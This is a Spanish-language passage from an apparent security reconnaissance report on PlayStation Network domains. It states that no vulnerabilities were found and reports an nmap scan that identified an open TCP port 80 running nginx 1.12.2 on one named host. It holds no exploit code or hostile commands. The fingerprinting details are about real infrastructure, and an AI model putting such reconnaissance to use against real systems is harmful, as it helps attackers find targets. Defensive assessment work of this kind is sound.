#### 1. Introducción

El siguiente informe presenta la información recolectada sobre la infraestructura de red y el software de los servicios de Playstation Network, limitando el alcance a los dominios api.playstation.com, playstation.net y sonyentertainmentnetwork.com.

Si bien en esta investigación no se detectó la presencia de software vulnerable o errores de configuración que puedan presentar un riesgo de seguridad, la información recolectada permite aproximar la visión global que tendrían actores maliciosos sobre la red de Playstation Network, comprender donde podrían estos focalizar su atención en búsqueda de vectores de ataque y mejorar el proceso de monitoreo de aparición de vulnerabilidades en el software utilizado.

Durante el proceso de recolección de información se utilizaron tanto herramientas automaticas de escaneo como información disponible en fuentes públicas externas a los servidores de Playstation Network.

#### 5. Puertos

Para el escaneo de puerto se utilizó la herramienta nmap, con diferentes configuracioes, sobre las listas de hosts de la sección 3 más los dominios base. El único dato hallado fue que el host corriendo en sonyentertainmentnetwork.com tiene abierto el puerto TCP 80 donde escucha un servidor web nginx en su versión 1.12.2. Además, el mismo está corriendo el sistema operativo iPXE para dispositivos embebidos con un kernel linux versión 2.4 o 2.6.
